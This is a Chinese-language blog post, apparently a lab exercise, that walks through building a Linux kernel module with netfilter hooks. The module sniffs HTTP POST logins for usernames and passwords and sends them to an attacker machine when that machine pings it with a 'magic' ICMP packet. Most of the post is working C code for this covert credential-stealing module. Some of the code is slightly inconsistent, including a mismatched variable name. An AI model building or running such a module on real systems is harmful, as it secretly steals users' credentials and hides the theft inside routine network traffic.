@

Netfilter简介

Netfilter是从Linux 2.4开始引入内核的一个子系统,是在网络流程的若干位置放置了一些hook(钩子),将数据出来做一些处理(如包过滤,NAT等)后,再回到网络流程。

netfilter和iptables的关系



网络层的hook:

NF_IP_PRE_ROUTING:刚刚进入网络层的数据包

NF_IP_LOCAL_IN:经路由查找后,送往本机,INPUT包过滤

NF_IP_FORWARD:要转发的包,FORWORD包过滤

NF_IP_POST_ROUTING:要通过网络设备发出去的包

NF_IP_LOCAL_OUT:本机发出的包,OUTPUT包过滤

实验-target端

实验环境:ubuntu 18.04 kernel 4.15

源代码:nf_http.c getData.c Makefile

内核模块的操作

  • 头文件 linux/kernel.h linux/module.h
  • 初始化模块(netfilter,见下)
  • 编译得到.ko文件

    LKM的编译和应用层代码使用的gcc不同,它使用Makefile,kbuild。
    obj-m += hello-world.o
    all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
    clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

    make生成目标文件.ko,可以加载到内核。

  • 加载模块 sudo insmod nf_http.ko
  • 打印10行信息 dmesg | tail
  • 查看内核模块sudo lsmod
  • 卸载模块 sudo rmmod nf_http (注意不用.ko)

完整的LKM编程模块

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h> static int __init init_my_module(void) {
printk(KERN_INFO "Hello, Kernel!\n");
return 0;
} static void __exit exit_my_module(void) {
printk(KERN_INFO "Bye, Kernel!\n");
} module_init(init_my_module);
module_exit(exit_my_module); MODULE_LICENSE("GPL");
MODULE_AUTHOR("TEST");

初始化netfilter

  • 头文件 :

    • linux/netfilter.h
    • linux/netfilter_ipv4.h
  • 钩子点结构体
    struct nf_hook_ops {
struct list_head list;
/* 此下的值由程序员填充 */
nf_hookfn *hook;
int pf;
int hooknum;
/* Hook以升序的优先级排序 */
int priority;
};
  • PRE_ROUTING 钩子:watch_in() 检查发出去的包
  • POST_ROUTING钩子:watch_out() 检查收到的包
    struct nf_hook_ops pre_hook;
struct nf_hook_ops post_hook; int init_module()
{
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_INET_PRE_ROUTING; post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_INET_POST_ROUTING; nf_register_net_hook(&init_net,&pre_hook);
nf_register_net_hook(&init_net,&post_hook);
return 0;
}

用netfilter过滤发出去的http包


static unsigned int watch_out(void *priv, struct sk_buff *skb,
const struct nf_hook_state *state)
{
struct sk_buff *sb = skb;
struct tcphdr *tcp;
printk("post routing");
/* Make sure this is a TCP packet first */
if (ip_hdr(sb)->protocol != IPPROTO_TCP)
return NF_ACCEPT; /* Nope, not TCP */
tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));
/* Now check to see if it's an HTTP packet */
//发现dest port=80的http包,就调用check_http()
if (tcp->dest != htons(80))
return NF_ACCEPT; /* Nope, not FTP */
/* Parse the HTTP packet for relevant information if we don't already
* have a username and password pair. */
if (!have_pair)
{
printk("check http");
check_http(sb);
}
/* We are finished with the packet, let it go on its way */
return NF_ACCEPT;
}

解析http包,获取用户名和密码

  • 通过网页源码或抓包确定表单提交方式、用户名和密码的变量名

    表单提交有两种提交方式,get和post

    get方式效率高但安全性低,如http://localhost:8080/test.do?name=test&password=123456 ,经常用于搜索,查询

    post是封装后进行提交安全性高,常用与用户注册登陆等。

    提交表单标签:

    参考:https://zhidao.baidu.com/question/178748632260389044.html

  • 通过抓包了解该网页http post的结构,uid和pwd在html部分,该部分处于cookie后面,而cookie中含有uid,但没有pwd,且没有分隔符&

  • 使用字符串匹配,过滤POST HTTP包,找到html中的username、password

   static void check_http(struct sk_buff *skb)
{
struct tcphdr *tcp;
char *data;
char *name;
char *passwd;
char *_and;
char *check_html;
int len,i; tcp = tcp_hdr(skb); data = (unsigned char *)tcp + (unsigned char)(tcp->doff) * 4;
//check POST
//cookie中也有uid,但可能没有pwd,且没有&分隔,而提交的HTML数据在cookie的后面,可通过Upgrade-Insecure-Requests定位
if (strstr(data,"POST /") != NULL && strstr(data,"Upgrade-Insecure-Requests") != NULL
&& strstr(data, "&uid") != NULL && strstr(data, "&password") != NULL) {
checkhtml = strstr(data,"Upgrade-Insecure-Requests");
printk("find POST html");
name = strstr(check_html,"&uid=");
name += 5;
_and = strstr(name,"&"); len = _and - name;
if ((username = kmalloc(len + 1, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 1);
for (i = 0; i < len; ++i)
{
*(username + i) = name[i];
}
*(username + len) = '\0'; passwd = strstr(name,"&password=");
passwd += 10;
_and = strstr(passwd,"&"); len = _and - passwd;
if ((password = kmalloc(len + 1, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 1);
for (i = 0; i < len; ++i)
{
*(password + i) = passwd[i];
}
*(password + len) = '\0'; } else {
printk("it`s not a http post");
return;
} if (!target_ip)
target_ip = ip_hdr(skb)->daddr;
if (!target_port)
target_port = tcp->source; if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */
if (have_pair)
printk("Have a uid&pwd pair! U: %s P: %s\n", username, password);
}

用netfilter过滤收到的包

发现特定的icmp包后,修改此数据报的mac、ip、username、pwd,并发送回hack


static unsigned int watch_in(void *priv, struct sk_buff *skb,
const struct nf_hook_state *state)
{
struct sk_buff *sb = skb;
struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */
printk("pre routing");
/* Do we even have a username/password pair to report yet? */
if (!have_pair)
return NF_ACCEPT;
/* Is this an ICMP packet? */
if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4); //+20 ip头
/* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
printk("it`s not a MAGIC packet");
return NF_ACCEPT;
}
/* 直接修改接收的buffer, 这种情况只适合局域网内利用目的mac传输,因为没有经过路由*/
printk("get the MAGIC packet");
/*交换src dst 的ip*/
taddr = ip_hdr(sb)->saddr;
ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
ip_hdr(sb)->daddr = taddr;
sb->pkt_type = PACKET_OUTGOING;
//设置mac
switch (sb->dev->type) {
case ARPHRD_PPP: /* Ntcho iddling needs doing */
break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char t_hwaddr[ETH_ALEN]; /*将源MAC设置为目的MAC*/
sb->data = (unsigned char *)eth_hdr(sb);
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
ETH_ALEN);
memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
break;
}
};
/* Now copy the target IP, then Username, then password into packet */
/*(char *)icmp 是为了保证指针移动的标准是char* ,64位OS中是8字节*/
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
//memcpy(cp_data + 4, username, 16);
memcpy(cp_data + 4, username, 16);
if (password)
memcpy(cp_data + 20, password, 16);
/* 发送 buffer*/
dev_queue_xmit(sb);
printk("the pair has been send to target");
/* Now free the saved username and password and reset have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;
target_port = target_ip = 0;
printk("clear the pair\n");
/* 不能return NF_DROP,因为dev_queue_xmit将释放缓冲区,
* Netfilter将尝试对NF_DROPped数据包执行相同操作,导致内核错误。*/
return NF_STOLEN;
}

清理netfilter

    void cleanup_module()
{
//struct net *net=NULL;
nf_unregister_net_hook(&init_net,&post_hook);
nf_unregister_net_hook(&init_net,&pre_hook);
if (password)
kfree(password);
if (username)
kfree(username);
return;
}

实验-hack端

源代码:getData.c

  • 向target发送特殊的icmp包

    raw socket 编程, 发送icmp数据包 ,保证足够的长度盛放target返回的数据。

    ip头 20字节 icmp头 8字节 icmp数据 4+16+16=36字节

  • 接收和打印target发回的数据

遇到的问题

  1. make error 1:assignment from incompatible pointer type [-Werror=incompatible-pointer-types]

    pre_hook.hook = watch_in;

    自从kernel4.13开始 hook函数的原型就是

    int sample_nf_hookfn(void *priv, struct sk_buff *skb, const struct nf_hook_state *state);

    而不是

    static unsigned int sample(unsigned int hooknum, struct sk_buff * skb,
const struct net_device *in, const struct net_device *out, int (*okfn) (struct sk_buff *))
  1. make error2 :

    nf_register_hook(&pre_hook);

    ^~~~~~~~~~~~~~~~

    nf_register_net_hook

    nf_register_hook在新版内核里面换成了 nf_register_net_hook(struct net *net, const struct nf_hook_ops *ops);

    可以这样

    #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,13,0)
nf_register_net_hook(&init_net, &reg) //&init_net 可直接使用
#else
nf_register_hook(&reg)
#endif

参考 :

https://blog.csdn.net/bw_yyziq/article/details/78290715

https://zhuanlan.zhihu.com/p/61343421

https://zhuanlan.zhihu.com/p/61164326

《UNIX网络编程》

Netfilter,获取http明文用户名和密码的更多相关文章

  1. 利用wireshark抓取Telnet的用户名和密码

    使用wireshark抓取Telnet   目标ip地址(telnet  192.168.88.1 ) 1,首先打开wireshark,然后选择网卡,点击开始. 2,为了在filter中输入telne ...

  2. cookie保存登录的用户名和密码

    用cookie保存登录的用户名和密码,当用户访问网站的时候,获取cookie的用户名和密码,通过用 用cookie保存登录的用户名和密码,当用户访问网站的时候,获取cookie的用户名和密码,通过用户 ...

  3. JavaBean组件<jsp:forward>动作<jsp:param>动作登录页面输入用户名和密码,然后进入检查页面判断是否符合要求,符合要求跳转到成功界面,不符合要求返回登录界面,显示错误信息。

    JavaBean组件 JavaBean组件实际是一种java类.通过封装属性和方法成为具有某种功能或者处理某个业务的对象. 特点:1.实现代码的重复利用.2.容易编写和维护.3.jsp页面调用方便. ...

  4. 用户名_密码获取Access_Token

    http://www.ivanjevremovic.in.rs/live/domination/red/index-async-slider.html http://designova.net/rev ...

  5. Git存储用户名和密码(明文需谨慎)

    当你配置好git后,在C:\Documents and Settings\Administrator\ 目录下有一个 .gitconfig 的文件,里面会有你先前配好的name 和email,只需在下 ...

  6. PHP中Cookie的使用---添加/更新/删除/获取Cookie 及 自动填写该用户的用户名和密码和判断是否第一次登陆

    PHP中Cookie的使用---添加/更新/删除/获取Cookie 及 自动填写该用户的用户名和密码和判断是否第一次登陆  什么是cookie 服务器在客户端保存用户的信息,比如登录名,密码等 这些数 ...

  7. javaweb从mysql中获取数据验证用户名密码成功跳转,失败重新验证

    要求:validate.jsp页面中获取请求参数(request.getparameter(“name属性的值”)),注意中文参数获取之前要设置请求编码(request.setCharaterEnco ...

  8. 【Azure Developer】使用 Microsoft Authentication Libraries (MSAL) 如何来获取Token呢 (通过用户名和密码方式获取Access Token)

    问题描述 在上一篇博文<[Azure Developer]使用 adal4j(Azure Active Directory authentication library for Java)如何来 ...

  9. c#与JavaScript实现对用户名、密码进行RSA非对称加密

    博主最近手上这个项目呢(就是有上百个万恶的复杂excel需要解析的那个项目,参见博客:http://www.cnblogs.com/csqb-511612371/p/4885930.html),由于是 ...

随机推荐

  1. 压缩感知重构算法之OLS算法python实现

    压缩感知重构算法之OMP算法python实现 压缩感知重构算法之CoSaMP算法python实现 压缩感知重构算法之SP算法python实现 压缩感知重构算法之IHT算法python实现 压缩感知重构 ...

  2. GIS学习汇总

    GIS之家: Geoserver: geoserver安装部署步骤 geoserver发布地图服务WMS geoserver发布地图服务WMTS geoserver集成以及部署arcgis serve ...

  3. 支付宝支付功能(使用支付宝sdk)

    1.准备参数        新建一个公共参数配置类NewAlipayconfig (可将参数存放到config配置文件中读取)          public class NewAlipayconfi ...

  4. Mysql多实例数据库

    什么是Mysql的多实例? 简单的说,Mysql多实例就是一台服务器上同时开启多个不同的服务端口(如3306.3307)同时运行多个Mysql服务进程,这些服务进程通过不同socket监听不同的服务端 ...

  5. tensorflow mnist模块详解

    tensorflow的官方文档是以mnist数据集为例子开始的.文档本身没有介绍tensorflow.contrib.learn.python.learn.datasets.mnist模块.要想用te ...

  6. 【Web技术】400- 浅谈Shadow DOM

    编者按:本文作者:刘观宇,360 奇舞团高级前端工程师.技术经理,W3C CSS 工作组成员. 为什么会有Shadow DOM 你在实际的开发中很可能遇到过这样的需求:实现一个可以拖拽的滑块,以实现范 ...

  7. vue 双语言切换中,data内翻译文字不正常切换的解决方案

    背景 有这么一个登录页面,相关功能如下: 支持双语言,点击切换语言 表单内部有一个自定义的select,里面option的label.value都是的名字由外部提供:其中预设的option的label ...

  8. SpringAOP在web应用中的使用

    之前的aop是通过手动创建代理类来进行通知的,但是在日常开发中,我们并不愿意在代码中硬编码这些代理类,我们更愿意使用DI和IOC来管理aop代理类.Spring为我们提供了以下方式来使用aop框架 一 ...

  9. linux目录的读(r)、写(w)、执行(x)权限说明

    linux目录的读.写.执行权限说明 1.可读r #表示具有浏览目录下面文件及子目录的权限.即ls dir 1)如果没有x权限,不能进到目录里,即无法 cd dir 2)如果没有x权限,ls列表可以看 ...

  10. webpack学习3.1由浅入深-打包JS

    打包JS Step1:在新建的文件夹下新建一个sum.js文件,一个app.js文件 sum.js //es module export default function(a,b){ return a ...